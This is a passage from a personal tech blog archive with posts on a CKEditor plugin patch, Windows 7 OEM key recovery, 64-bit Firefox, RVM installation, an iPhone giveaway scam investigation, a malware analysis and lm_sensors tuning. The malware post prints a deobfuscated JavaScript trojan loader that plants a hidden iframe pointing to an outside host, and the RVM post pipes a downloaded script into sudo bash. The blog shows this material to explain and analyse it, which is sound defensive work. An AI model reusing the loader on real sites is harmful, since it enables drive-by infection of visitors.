S9y plugins: Adding codeTag into CKEditor
Sunday, January 3. 2016
As you may have noticed, I blog a lot about code, computers and operating system configurations. In writtern form, it is very convenient to use Teletype Text -formatting. Here is a demo of the difference:
Do Until NoMoreSwaps = True
NoMoreSwaps = True
For Counter = 1 To (NumberOfItems - 1)
If List(Counter) > List(Counter + 1) Then
NoMoreSwaps = False
Temp = List(Counter)
List(Counter) = List(Counter + 1)
List(Counter + 1) = Temp
End If
Next
NumberOfItems = NumberOfItems - 1
Loop
and:
Do Until NoMoreSwaps = True
NoMoreSwaps = True
For Counter = 1 To (NumberOfItems - 1)
If List(Counter) > List(Counter + 1) Then
NoMoreSwaps = False
Temp = List(Counter)
List(Counter) = List(Counter + 1)
List(Counter + 1) = Temp
End If
Next
NumberOfItems = NumberOfItems - 1
Loop
(Code sample courtesy of Rosetta Code)
Any experienced software developer will prefer the fixed-width font. However, an out-of-the-box Serendipity blog software won't make that possible. I don't get the logic behind that, but there is a drastic change in functionality. To the not-so-user-friendly direction, I'd like to add. 
Since version 2.0 S9y has been using CKEditor as HTML-editor on the admin-side. It is a pretty good component and has a number of excellent plugins already available. Getting a codeTag-plugin to work shouldn't be too hard, I guess. Yep! Guessed wrong.
Just downloading a zip-file, and uncompressing it at serendipity/htmlarea/ckeditor/ckeditor/plugins/-directory. Is a good start, but the editor won't react to that, something more is needed.
After a lot of investigating, I figured to add the name of the plugin into into serendipity/htmlarea/ckeditor_s9y_plugin.js. It has a line in it:
var customplugins = 'mediaembed,procurator,cheatsheet,';
adding codeTag into the list does absolutely nothing. It does load the plugin, but as a default, the plugin does nothing that you can see or touch. There is another file with list of editor's icons at serendipity/htmlarea/ckeditor_s9y_config.js. It has an array with list of icons to display:
config.toolbar_Default = []
It looks like this:
After adding this hash-definition into the config.toolbar_Default -array:
{ name: 'codetag', items: [ 'Code' ] }
makes the icon to appear:
... but it doesn't do much when you click it.
Yet another round of debugging revealed, that there is a fixed list of allowed HTML-tags in the same file. The variable is called config.extraAllowedContent. The line is very long, but abbreviated version is something like this:
config.extraAllowedContent = 'mediainsert[*]{*}(*); ... ;pre[*](*);';
I added this to the end of the list:
code;tt;
Now it works as expected!
If you're planning a patch, here are my changes. Run it in serendipity/htmlarea/:
--- ckeditor_s9y_plugin.js.orig 2015-07-24 15:02:54.000000000 +0300
+++ ckeditor_s9y_plugin.js 2016-01-01 15:52:18.333527235 +0200
@@ -17,7 +17,7 @@
// Plugin Dependencies: widget Add-on Dependencies: Line Utilities and Clipboard
// mediaembed is a fast and simple YouTube code CKEditor-Plugin: v. 0.5+ (https://github.com/frozeman/MediaEmbed, 2013-09-12) to avoid ACF restrictions
// procurator and cheatsheet are S9y only plugins
- var customplugins = 'mediaembed,procurator,cheatsheet,';
+ var customplugins = 'mediaembed,procurator,cheatsheet,codeTag,';
// for any new instance when it is created - listen on load
CKEDITOR.on('instanceReady', function(evt){
--- ckeditor_s9y_config.js.orig 2015-07-24 15:02:54.000000000 +0300
+++ ckeditor_s9y_config.js 2016-01-01 16:07:39.055518012 +0200
@@ -65,7 +65,7 @@
- Allow for custom attributes/classes in code blocks
*/
// protect
- config.extraAllowedContent = 'mediainsert[*]{*}(*);gallery[*]{*}(*);media[*]{*}(*);script[*]{*}(*);audio[*]{*}(*);div[*]{*}(*);span[*]{*}(*);img[height,width];pre[*](*);';
+ config.extraAllowedContent = 'mediainsert[*]{*}(*);gallery[*]{*}(*);media[*]{*}(*);script[*]{*}(*);audio[*]{*}(*);div[*]{*}(*);span[*]{*}(*);img[height,width];pre[*](*);code;tt;';
// Do not use auto paragraphs, added to these allowed tags (only!). Please regard that this was marked deprecated by CKE 4.4.5, but is a need for (our use of) extraAllowedContent - check this again by future versions!
config.autoParagraph = false; // defaults(true)
@@ -252,7 +252,8 @@
{ name: 'mediaembed', items: [ 'MediaEmbed' ] },
{ name: 'others', items: s9ypluginbuttons },
{ name: 'document', groups: [ 'mode', 'document', 'doctools' ], items: [ 'Source' ] },
- { name: 'about', items: [ 'About' ] }
+ { name: 'about', items: [ 'About' ] },
+ { name: 'codetag', items: [ 'Code' ] }
];
// console.log(JSON.stringify(config.toolbar_s9y));
Recovering Windows 7 OEM License Key
Saturday, January 2. 2016
In my hugely popular article about Transferring Windows 7 OEM license to a new hard drive, I kept insisting, that you absolutely positively need to know your SLP-key before processing. Couple days ago I was working on a recovery of a failed hard drive and realized, that it's not completely true.
As the troubled drive had already been replaced with a brand new SSD, I had the HDD in an USB-dock for investigation purposes:
The new Windows 7 OEM had already been installed, but not activated. As I didn't know the SLP-key I was planning to do the phone activation with COA-key. At that point I realized, that it was possible to use the Magical Jelly Bean Keyfinder from another drive:
It wasn't much simpler than that! A simple copy/paste -operation to get the key in and Windows activated.
The requirement seems to be to point to a %windir% and system32\config\ is assumed on top of that.
Storix - Story of Anthony Johnson continues
Friday, January 1. 2016
Earlier I wrote about Storix and it's author Mr. Johnson.
The story developed further on 15th Dec when a jury gave its verdict about the copyright infrightment claim. A court decided that the copyrigt was transferred to company on 2003. Mr. Johnson claimed that a written memo of 2004 as an annual report didn't transfer the copyright:
It foolishly stated that my sole proprietorship was changed to an S Corp and "all assets" were
transferred over. Of course, I was referring to the cash in the business account, the furniture and
computers. But the jury, based on the courts generic instructions which were contrary to actual
copyright law, decided that it should include any personal assets related to the business,
or any "language that might encompass a copyright".
Obviously this is not the end of the story. There will be a round of appeals.
Btw. In their press release Storix claims to be "the #1 provider of disaster recovery solutions for more than 2,000 global customers". I think there has to be some other player in the disaster recovery business having more customers. 
64-bit Firefox for Windows - Finally!
Sunday, December 20. 2015
On version 43 Firefox announced: Firefox 64-bit for Windows Available.
Whoa! Already? I've been waiting for that to happen since 2005 when Fedora Core 4 was released. It had a 64-bit Firefox in it. Actually Fedora Core 3 had one, but it was a beta version and I didn't use it ever. So my 11 year wait is over.
Mozilla's release policy is ... how to put it ... confusing? Insane? Mindless? Linux and OS X had proper versions of my favorite browser years ago, but on Windows, they seriously dopped the ball. Competition have had 64-bit builds for: Internet Explorer, Opera, Chrome, Dillo and what not. Even the mostly malfunctioning slow piece of crap Edge has a 64-bit build of it.
Back in 2011 there was a decent version of 64-bit Firefox 8 in the works. See article Firefox 8 for Windows x64: Has 64-bit browsing finally come of age? about that. Then came 2012 and at end of that year something happened: Mozilla quietly kills Firefox 64-bit for Windows, despite an estimated 50% of testers using it.
Here is the 2012 Mozilla’s manager list of bullshit reasons for not doing a 64-bit version:
- Many plugins are not available in 64-bit versions.
- The plugins that are available don’t work correctly in Firefox because we haven’t implemented things like windowproc hooking, which means that hangs are more common.
- Crashes submitted by 64-bit users are currently not high priority because we are working on other things.
- This is frustrating for users because they feel (and are!) second-class.
- It is also frustrating for stability team triage because crash-stats does not easily distinguish between 32-bit and 64-bit builds in the topcrash lists and other reports. We basically ignore a set of nightly “topcrashes” because they are 64-bit only. (See bug 811051).
I'd still like to point out that at that time Linux and OS X had it. The list is total bullshit, as the crash reports and triage would have easily identified build bitness with minor changes, if only there would have been a true will of doing it. Most of people like me didn't care about lacking plugin support. Everything that I needed was already there and working.
Since there were a lot of comments about not doing the 64-bit Windows version, there was some flip-flopping about the decision: Mozilla backpedals on Firefox 64-bit for Windows, will keep nightly builds coming after all.
There were couple of silent years, then the project had a come-back. On 2014: Mozilla is making plans for 64-bit Firefox browser. As the decision was in to go for 64-bit, the only thing missing was developer resources. Obviously Mozilla was busy developing features, not the 64-bit build. Hower, last summer there was news: Mozilla delays 64-bit Firefox for Windows again. And finally, couple of releases later they had the official stable version out.
The obvious effect will be for Cyberfox. 8pecxstudios has been very active in the 64-bit scene and I've been using their excellent product for couple of years. My previous favorite, Waterfox advertises being a high performance browser based on the Mozilla platform made specifically for 64-Bit systems. They say that Waterfox has one thing in mind: speed, however, it's in a very low maintenance mode and currently it is 3 versions behind. In my book, that's unmaintained already.
I strongly doubt that none of the excuse-list items have vaporized. I'm glad that the version is out, but not very happy that it took so many years. This entire case is a disgrace.
Stop the insanity! There are TLDs longer than 4 characters
Wednesday, December 2. 2015
Installing multi-user Ruby with RVM
Tuesday, November 24. 2015
I needed to run some Ruby-code in my Fedora-box, but the RPM-packaged version wasn't a decent or recent one. Since it is standard procedure and native to Ruby programming language to use Ruby version manager (or RVM), it also opens immense possibilities of running any existing Ruby version in same machine without the versions colliding with each other, this is definitely something that people need to know how to do.
There is plenty of good information about this in the net, for example How to Install Ruby 2.1.2 on CentOS & RHEL using RVM. However, the definite source is of course Installing RVM manual at RVM.io.
When it comes to multi-user installations, docs say "For server administrators - For an installation usable by all users on the system - This also used to be called the System-Wide Install. Using this type of installation without knowledge how umask works is a big security risk". RVM has a very simple filesystem permission -based security model, which will collapes if umask is not set correctly in multi-user mode. However, the worst-case scenarios include some gems have incorrect permissions set and only the user how installed it can un-install. Ultimate worst-case scenario is, that people not belogning to rvm-group can install and un-install modules. In a system-wide setup other people tampering with critical resources can be fatal, hence the obligatory warnings.
My case is much simpler, I need the same stuff for myself to develop with and for the system to run with. That's how I know I develop, test and run the same libraries. I wouldn't dream on sharing the stuff with other persons and calling that secure.
Back to setup of my RVM, current ruby version information:
$ ruby -v
ruby 2.0.0p353 (2013-11-22 revision 43784) [x86_64-linux]
To start the installation, a simple one-liner will do:
$ curl -sSL http://get.rvm.io | sudo bash -s stable -- --ignore-dotfiles
It will download the latest stable installer bash-script and immediately execute it with flag not to use user's own files. This is more suitable for machine-wide mode. The really important thing is to use sudo. Installation will fail to setup correctly, if doing it as root. Another security warning here: you will be trusting blindly on something you downloaded from the web. Hey! They call it open-source.
The installation will work only on Bourne shells. I'd recommend using Bash with all RVM-operations. The installer will say something like this:
Downloading https://github.com/rvm/rvm/archive/master.tar.gz
Creating group 'rvm'
Installing RVM to /usr/local/rvm/
Installation of RVM in /usr/local/rvm/ is almost complete:
First you need to add all users that will be using rvm to 'rvm' group,
and logout - login again, anyone using rvm will be operating with `umask u=rwx,g=rwx,o=rx`.
To start using RVM you need to run `source /etc/profile.d/rvm.sh`
in all your open shell windows, in rare cases you need to reopen all shell windows.
# Thank you for using RVM!
# We sincerely hope that RVM helps to make your life easier and more enjoyable!!!
#
# ~Wayne, Michal & team.
In case of problems: http://rvm.io/help and https://twitter.com/rvm_io
If your system didn't have an user group called rvm, it does now. As the instructions say, it's your task now to assign users to that group. You can do it like this:
$ getent group rvm
rvm:x:983:
Your group ID will change, of course. Add your user to this new group like this (I'm doing it as root, sudo will do the trick also):
# usermod -a -G rvm joeuser
# getent group rvm
rvm:x:983:joeuser
Yet again, the instructions above say, that this addition will NOT take effect until one of these happens:
- User logs in. If you're adding yourself, log out first.
newgrp-command is issued, newgrp(1) - Linux man page
RVM installer will add a file into /etc/profile.d/ to do some settings at login:
-rwxr-xr-x. 1 root root 1203 Nov 23 19:39 /etc/profile.d/rvm.sh
If you need to have the settings in effect, all you need to do is source it:
$ source /etc/profile.d/rvm.sh
Anyway, now the rig is ready, we only need an installed Ruby version to get the ball rolling. To get an idea what's out there, get a list of all available Rubies there are:
$ rvm list known
# MRI Rubies
[ruby-]1.8.6[-p420]
[ruby-]1.8.7[-head] # security released on head
[ruby-]1.9.1[-p431]
[ruby-]1.9.2[-p330]
[ruby-]1.9.3[-p551]
[ruby-]2.0.0[-p647]
[ruby-]2.1[.7]
[ruby-]2.2[.3]
[ruby-]2.2-head
ruby-head
I'm urging to go for the install, but my first install attempt stalled on some missing libraries. There was a prompt asking for my password, but I chose not to enter my personal password to a script. So:
# yum install libyaml-devel readline-devel libffi-devel sqlite-devel
When those landed, let's go for an install:
$ rvm install ruby-2.1.7
The installer will output a lot, some of it is:
Searching for binary rubies, this might take some time.
No binary rubies available for: fedora/20/x86_64/ruby-2.1.7.
Continuing with compilation. Please read 'rvm help mount'
to get more information on binary rubies.
Checking requirements for fedora.
Requirements installation successful.
Installing Ruby from source to: /usr/local/rvm/rubies/ruby-2.1.7,
this may take a while depending on your cpu(s)...
ruby-2.1.7 - #downloading ruby-2.1.7,
this may take a while depending on your connection...
ruby-2.1.7 - #extracting ruby-2.1.7 to /usr/local/rvm/src/ruby-2.1.7....
ruby-2.1.7 - #configuring...
ruby-2.1.7 - #post-configuration..
ruby-2.1.7 - #compiling...
ruby-2.1.7 - #installing...
ruby-2.1.7 - #making binaries executable..
ruby-2.1.7 - #downloading rubygems-2.4.8
ruby-2.1.7 - #extracting rubygems-2.4.8....
ruby-2.1.7 - #removing old rubygems.........
ruby-2.1.7 - #installing rubygems-2.4.8...
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7@global
ruby-2.1.7 - #importing gemset /usr/local/rvm/gemsets/global.gems...
ruby-2.1.7 - #generating global wrappers........
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7
ruby-2.1.7 - #importing gemsetfile /usr/local/rvm/gemsets/default.gems
evaluated to empty gem list
ruby-2.1.7 - #generating default wrappers........
ruby-2.1.7 - #adjusting #shebangs for (gem irb erb ri rdoc testrb rake).
Install of ruby-2.1.7 - #complete
Ruby was built without documentation,
to build it run: rvm docs generate-ri
But ultimately, you're good to go:
$ ruby -v
ruby 2.1.7p400 (2015-08-18 revision 51632) [x86_64-linux]
To get back to my original task, I installed a gem:
$ gem install davclient
Fetching: davclient-0.0.8.gem (100%)
Successfully installed davclient-0.0.8
Parsing documentation for davclient-0.0.8
Installing ri documentation for davclient-0.0.8
Done installing documentation for davclient after 0 seconds
1 gem installed
That's it! Everything is ready.
Apple iPhone 7 giveaway scam
Wednesday, November 18. 2015
Looks like I'm on a roll. I was home watching a movie and while at it, I got interested about an actor in it and his other work in TV. In normal situation, I'd just flip open one of my laptops, but none were at arm's reach. However, my iPad was. For any movie buff like me, the one an only definite site is Internet Movie Database, or IMDb. Their mobile site is pretty good, but I wanted to give their iOS app a go.
The Incident
I installed the app, and went to iOS Safari to google something, which I don't even remember anymore. Pretty much when I opened the Safari something really weird happened (unfortunately for most of the readers, all of this is in Finnish):
My iPad was selected out of 20 Finnish ones, to get a free iPhone 7 in 2016 when it will be released. WTF!!? For a split second, I - a seasoned software security professional, thought "wow, I'm must be really lucky!" Then the experience kicked in: "This is a scam!" At that point I started taking screenshots of everything I saw on the iPad screen.
Once I got rid of the modal alert-box, there were four bogus questions of "Do you own an Apple product?" and about the future features the iPhone 7 should have and the final one about "Do you have an address in Finland which can be used to deliver your iPhone 7?":
After those, there was a fake "check" for eligibility and a smooth transition to customer testimonials page:
The language was horrible all the way. Finnish is a tricky language for anybody else to master in a believable manner. For example the month name "Elvember" doesn't mean anything in Finnish.
Finally, when I clicked the large blue "yes, gimme my free gift" -button, I ended up in even weirder page asking my personal information:
At this point I lost interest. I have no clue, that's their end game and what they would be using my information for, but I simply didn't want to even enter any fake info there.
Question 4 about address may point to some sort of smuggling scam, so that the unfortunate address would be used to send some sort of contraband which the criminals would liberate from mailbox before nobody notices. I have no proof of that happening.
The Injection
At this point, the relevant question was: What the hell happened?
Where did that page arrive into my Safari? Isn't iOS supposed to be the safest mobile OS there is? Is it really that easy to get past security? What did I do wrong to allow this to happen?
The good thing with this was that I was running in my own Wi-Fi. There I have a basic setup to keep me informed what's going on, so to the logfiles I went:
- 18.11.2015 18:22:13: App Store was started, lot of requests made to load data and graphics for it
- 18.11.2015 18:22:18: A search was made to App Store, it was me searching for "imdb"
- 18.11.2015 18:22:49: 14,801,031 bytes were downloaded from Apple's cloud, that was me downloading the IMDb app
- 18.11.2015 18:23:05: Lot of traffic into various resources to initialize the loaded app. Partial list of sites:
- http://ios-app-config.media-imdb.com/6.3.1/ipad.json.gz - iPad configuration in JSON-format from IMDb
- http://b.scorecardresearch.com/ - Market research company
- http://aax-eu.amazon-adsystem.com/ - Amazon, Inc. advertisement system, they own IMDb
- http://ia.media-imdb.com/ - Image server for IMDb
- https://api.imdbws.com - Unknown IMDb server
- https://app.imdb.com - Unknown IMDb server
- https://gsp-ssl.ls.apple.com - Unknown Apple server
- https://fls-na.amazon.com - Unknown Amazon server
- 18.11.2015 18:24:43: Safari was launched,
- http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/ was loaded
- 18.11.2015 18:29:35: Questions were completed
- http://bit.ly1bddlxc.com/click - start of redirecting
- http://trkyad.com/ - middle point
- http://forbrugerpost.dk/campaign/iphone6s/ - personal information form
- done
IMDb app pulled in some garbage and triggered the page load into my Safari. Unbelievable!
If you want to study my movements, here is the logfile:
iPhone7scam-10-squid_access-iPad-abbreviated.log
I have omitted the IPv6 address of my iPad, it will be displayed as 2001::87b4, which is obviously not the address.
Motive and opportunity has already been explained, when it comes to means, the Objective-C code to open a page in iOS Safari from an app would be a single line:
[[UIApplication sharedApplication] openURL:[NSURL URLWithString: [@"apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/"]]];
In my opinion an outside threat is not feasible, this had to be an inside job.
The Facts
A simple kick into Google search engine revealed for example Possible Iphone 7 Scam at Apple discussions. This has been going on since July 2015, at least, possibly earlier.
The page I was forced to go was http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/
Couple of queries for the DNS and ICANN whois:
# host apple.com-freegiveaway.com
apple.com-freegiveaway.com is an alias for com-freegiveaway.com.
com-freegiveaway.com has address 54.194.31.154
com-freegiveaway.com has address 54.77.203.0
com-freegiveaway.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
At the HTML-source of the freegiveaway.com-page, the redirect to the personal information form is at bit.ly1bdDlXc.com, but the actual form is at forbrugerpost.dk, a Danish domain. Querying for those:
# host bit.ly1bdDlXc.com
bit.ly1bdDlXc.com is an alias for h918i.voluumtrk2.com.
h918i.voluumtrk2.com has address 52.28.97.9
h918i.voluumtrk2.com has address 54.93.143.19
# host trkyad.com
trkyad.com has address 198.254.77.23
# host forbrugerpost.dk
forbrugerpost.dk has address 191.235.217.33
forbrugerpost.dk mail is handled by 10 mail.forbrugerpost.dk.
forbrugerpost.dk mail is handled by 100 backup-mx.zitcom.dk.
ly1bdDlXc.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
trkyad.com:
Registrant Contact
Name: H Pieters
Organization: Your Product In Mind
Domain name: forbrugerpost.dk
DNS: forbrugerpost.dk
Status: Active
Created: 2007/11/07
Registrant:
Userid: FA7610-DK
Name: FORBRUGERPOST ApS
Address: Skibbrogade 3, 2.
Zipcode & City: 9000 Aalborg
Country: Danmark
Phone: +4588888484
IP-address owners:
# geoiplookup 54.194.31.154 54.77.203.0 52.28.97.9 54.93.143.19
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, 07, Dublin, Dublin, N/A, 53.333099, -6.248900, 0, 0
GeoIP ASNum Edition: AS16509 Amazon.com, Inc.
# geoiplookup 198.254.77.23
GeoIP Country Edition: US, United States
GeoIP City Edition, Rev 1: US, CA, California, Newport Beach, 92663, 33.626701, -117.931198, 803, 949
GeoIP ASNum Edition: AS19994 Rackspace Hosting
# geoiplookup 191.235.217.33
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, N/A, N/A, N/A, N/A, 53.347801, -6.259700, 0, 0
GeoIP ASNum Edition: AS8075 Microsoft Corporation
Conclusions: services are running in Ireland, Amazon and Microsoft data centers and Rackspace, California. Domains are hidden behind proxies so, that the real owners of the domains are hidden. Even the Danish one is proxy-owned. About the Dutch one registered to Rotterdam, I'm not sure, that could be a real one. They use it only for redirect, maybe because they don't want to burn that so soon.
The Outcome
For the record, I'm talking about IMDb app version 6.3.1:
And there was no way, I was letting that piece of garbage pop up any more stupid questionnaires:
... the app needed to go. I didn't trust it for a second.
As I can almost hear you screaming already: "But you didn't prove, that it was the IMDb app! All of this is merely a coincidencee".
Sure, that's true. Even with my debugging skills, looking exactly at an app and tracing it in detail would take a very long time. Which in this case I didn't do. However, my proof is in the fact, that I haven't installed any apps for weeks. My Safari didn't display that stupid questionnaire page earier that day, but after installing and running the IMDb app, it did. I'm sure nobody really knows what the app loads and executes, I have proven, that it consumes a lot of data through network.
Also, I'm not a big believeer of coincidences:
Mycroft: “Oh Sherlock. What do we say about coincidence?”
Sherlock: “The universe is rarely so lazy.”
... there really aren't any.
Unfortunate encounter with Trojan.JS.Agent.KX
Tuesday, November 17. 2015
I was surfing the other day, and suddenly ding-ding-ding, a warning! I wasn't looking for trouble, but trouble found me, again.
That box makes appearances rarely, but typically I know about it's going to happen. This time I didn't expect that. The site I went to was just a regular one, not one that in any normal circumstances would raise any red flags. My automatic second thought was "a false positive", but there it was:
Based on the scanning reports, it looks like all of the static JavaScript files on that site were infected. A closer look into a file:
function null_check() {
var e = "none";
if ("none" != e) {
var t = document.getElementById(e);
void 0 != typeof t && null != t && (t.outerHTML = "", delete t)
}
}
function browser_version_check() {
return document.all && !document.compatMode ? !0 :
document.all && !window.XMLHttpRequest ? !0 :
document.all && !document.querySelector ? !0 :
document.all && !document.addEventListener ? !0 :
document.all && !window.atob ? !0 :
document.all ? !0 :
"undefined" != typeof navigator.maxTouchPoints &&
!document.all &&
ie_check() ? !0 : !1
}
function ie_check() {
var e = window.navigator.userAgent,
t = e.indexOf("MSIE ");
if (t > 0) return parseInt(e.substring(t + 5, e.indexOf(".", t)), 10);
var i = e.indexOf("Trident/");
if (i > 0) {
var n = e.indexOf("rv:");
return parseInt(e.substring(n + 3, e.indexOf(".", n)), 10)
}
var o = e.indexOf("Edge/");
return o > 0 ? parseInt(e.substring(o + 5, e.indexOf(".", o)), 10) : !1
}
function user_agent_check() {
var e = window.navigator.userAgent.toLowerCase();
return /(android|bb\d+|meego).+mobile|/i.test(e.substr(0, 4)) ? !0 : !1
}
var intervalTimer = setInterval(function() {
if (null != document.body && "undefined" != typeof document.body) {
if (clearInterval(intervalTimer), "undefined" == typeof window.loaded_into_this_window) {
window.loaded_into_this_window = 1;
var e = ie_check() && browser_version_check(),
t = !e && !!window.chrome && "Google Inc." === window.navigator.vendor,
i = -1,
n = "http://hjjdgwtwgfgfdg.tk/052F";
if (user_agent_check() && 1 == i)
navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i) ?
location.replace(n) : (window.location = n, document.location = n);
else if (e && !t && !user_agent_check()) {
var o = '<div style="position:absolute;left:-3532px;"><iframe width="10px" src="' +
n + '" height="10px"></iframe></div>',
a = document.getElementsByTagName("div");
if (0 == a.length) document.body.innerHTML = document.body.innerHTML + o;
else {
var d = a.length,
r = Math.floor(d / 2);
a[r].innerHTML = a[r].innerHTML + o
}
}
}
null_check()
}
}, 100);
Quite simple piece of code. It was heavily packed, so I beautified it and renamed the obfuscated function names and variables. The regexp for user agent detection was a mile long, so I shortened it by about 2000 characters. Anyway, the basic functionality of the code is to create a timer for 100 milliseconds, which when triggered on a non-mobile client create a hidden IFRAME 3532 pixels left of the user agent's viewport containing web page from http://hjjdgwtwgfgfdg.tk/052F ... which to my disappointment was already taken down. So, I didn't get to see what the actual payload was. The above code is only a loader, a means to lure the actual trojan into your box. I guess it would contain some sort of exploit in it, but as I said: some nice person already took that domain down.
How the trojan loader was injected was a no-brainer. A simple HTTP-request for /readme.html indicated, that the site was running WordPress 4.3.1, which at the time of investigating was the latest stable release. The server is running a Debian 6, a way outdated Linux distro released in February 2011 reaching end-of-life in couple of months. The thing is: Wordpress is a leaky bucket having constant flow of security alerts. Also, I know for a fact, that Debian 6 also has couple of holes here and there. So, points of entry are available for those automated bots injecting the loaders.
Anyway, I ended my investigation happy. My own box reacted as it should and the threat had been taken down already. Also the site in question was taken off-line in a couple of hours after me filing an abuse report to their ISP. All was good for a brief time ... until next incident occurs.
Improving Nuvoton NCT6776 lm_sensors output
Monday, November 16. 2015
Problem
My home Linux-box was outputting more-or-less useless lm_sensor output. Example:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +36.0°C (high = +80.0°C, crit = +98.0°C)
Core 0: +34.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +31.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +36.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +33.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
Adapter: ISA adapter
Vcore: +0.97 V (min = +0.00 V, max = +1.74 V)
in1: +1.02 V (min = +0.00 V, max = +0.00 V) ALARM
AVCC: +3.33 V (min = +2.98 V, max = +3.63 V)
+3.3V: +3.31 V (min = +2.98 V, max = +3.63 V)
in4: +1.01 V (min = +0.00 V, max = +0.00 V) ALARM
in5: +2.04 V (min = +0.00 V, max = +0.00 V) ALARM
in6: +0.84 V (min = +0.00 V, max = +0.00 V) ALARM
3VSB: +3.42 V (min = +2.98 V, max = +3.63 V)
Vbat: +3.36 V (min = +2.70 V, max = +3.63 V)
fan1: 0 RPM (min = 0 RPM)
fan2: 703 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
fan4: 819 RPM (min = 0 RPM)
fan5: 0 RPM (min = 0 RPM)
SYSTIN: +36.0°C (high = +0.0°C, hyst = +0.0°C) ALARM sensor = thermistor
CPUTIN: -60.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermal diode
AUXTIN: +35.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
PECI Agent 0: +26.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
PCH_CHIP_TEMP: +0.0°C
PCH_CPU_TEMP: +0.0°C
PCH_MCH_TEMP: +0.0°C
That's all great and all, but what the heck are in 1, 4-6 and fan 1-5? Are the in 1, 4-6 readings really reliable? Why are there sensors with 0 RPM readings? CPUTIN indicating -60 degrees, really? PCH-temps are all 0, why?
Investigation
In order to get to bottom of all this, let's start from the chip in question. lm_sensors -setup identified it as NCT6776. For some reason Nuvoton doesn't have the data sheet anymore, but by little bit of googling, a PDF with title NCT6776F / NCT6776D Nuvoton LPC I/O popped up.
Analog inputs:
Following information can be found:
It contains following analog inputs:
- AVCC
- VBAT
- 3VSB
- 3VCC
- CPUVCORE
- VIN0
- VIN1
- VIN2
- VIN3
The good thing is, that first 5 of them are clearly labeled, but inputs 0 through 3 are not. They can be pretty much anything.
Revolution Pulse counters:
When it comes to RPM-readings, following information is available:
That lists following inputs:
- SYSFANIN
- CPUFANIN
- AUXFANIN0
- AUXFANIN1
- AUXFANIN2
Looks like all of those have connectors on my motherboard.
Temperature Sources:
For the temperature measurements, the chip has:
The analog temperature inputs are:
- SMIOVT1
- SMIOVT2
- SMIOVT3
- SMIOVT4
- SMIOVT5
- SMIOVT6
According to the above table, they're mapped into AUXTIN, CPUTIN and SYSTIN.
Also on top of those, there is PECI (Platform Environment Control Interface). A definition says "PECI is a new digital interface to read the CPU temperature of Intel® CPUs". So, there aren't any analog pins for that, but there are readings available, when questioned.
Configuration
A peek in to /etc/sensors3.conf at the definition of the chip shows:
chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*"
label in0 "Vcore"
label in2 "AVCC"
label in3 "+3.3V"
label in7 "3VSB"
label in8 "Vbat"
set in2_min 3.3 * 0.90
set in2_max 3.3 * 1.10
set in3_min 3.3 * 0.90
set in3_max 3.3 * 1.10
set in7_min 3.3 * 0.90
set in7_max 3.3 * 1.10
set in8_min 3.0 * 0.90
set in8_max 3.3 * 1.10
And that's all. I guess that would be ok for the generic case, but in my particular box that list of settings doesn't cover half of the inputs.
Solution
Configuration changes
I added following settings for temperature into "chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*""-section:
label in0 "Vcore"
set in0_min 1.1 * 0.9
set in0_max 1.1 * 1.15
label in1 "+12V"
compute in1 @ * 12, @ / 12
set in1_min 12 * 0.95
set in1_max 12 * 1.1
label in2 "AVCC"
set in2_min 3.3 * 0.95
set in2_max 3.3 * 1.1
label in3 "+3.3V"
set in3_min 3.3 * 0.95
set in3_max 3.3 * 1.1
label in4 "+5V"
compute in4 @ * 5, @ / 5
set in4_min 5 * 0.95
set in4_max 5 * 1.1
ignore in5
ignore in6
label in7 "3VSB"
set in7_min 3.3 * 0.95
set in7_max 3.3 * 1.1
label in8 "Vbat"
set in8_min 3.3 * 0.95
set in8_max 3.3 * 1.1
The obvious problem still stands: what are the undocumented in 1, 4, 5 and 6? Mr. Ian Dobson at Ubuntuforums.org discussion about NCT6776 claims, that in1 is for +12 VDC power and in4 is for +5VDC power. I cannot deny nor confirm that for my board. The Novoton-chip only provides the inputs, but there is absolutely no way of telling how the manufacturer chooses to connect them to various parts of the MoBo. I took the same assumption, so all that was necessary, was to multiply the input data by 12 and 5 to get a proper reading. I don't know what in5 and in6 are for, that's why I remove them from the display. All the other ones are min and max boundaries for the known readings.
The fan settings are machine specific, in my case:
label fan2 "CPU fan"
set fan2_min 200
label fan4 "HDD fan"
set fan4_min 200
ignore fan1
ignore fan3
ignore fan5
As I only have fans connected to 2 out of 5, I'll ignore the not connected ones. For the connected, I set a lower limit of 200 RPM.
Temperatures are motherboard-specific. In my case, I did following additions:
label temp1 "MB"
set temp1_max 38
set temp1_max_hyst 35
label temp3 "CPU"
label temp7 "CPU?"
ignore temp2
ignore temp8
ignore temp9
ignore temp10
The easy part is to remove the values not displaying anything. The hard part is to try to figure out what the measurements indicate. Based on the other readings, temp3 is CPU combined somehow. The other sensor is displaying rougly same values for each core I have there. However, the temp7 is for PECI, but it doesn't behave anything like CPU-temps. It should, but it doesn't. That's why I left a question mark after it.
Resulting output
After the additions, following output is available:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +40.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +43.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +39.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
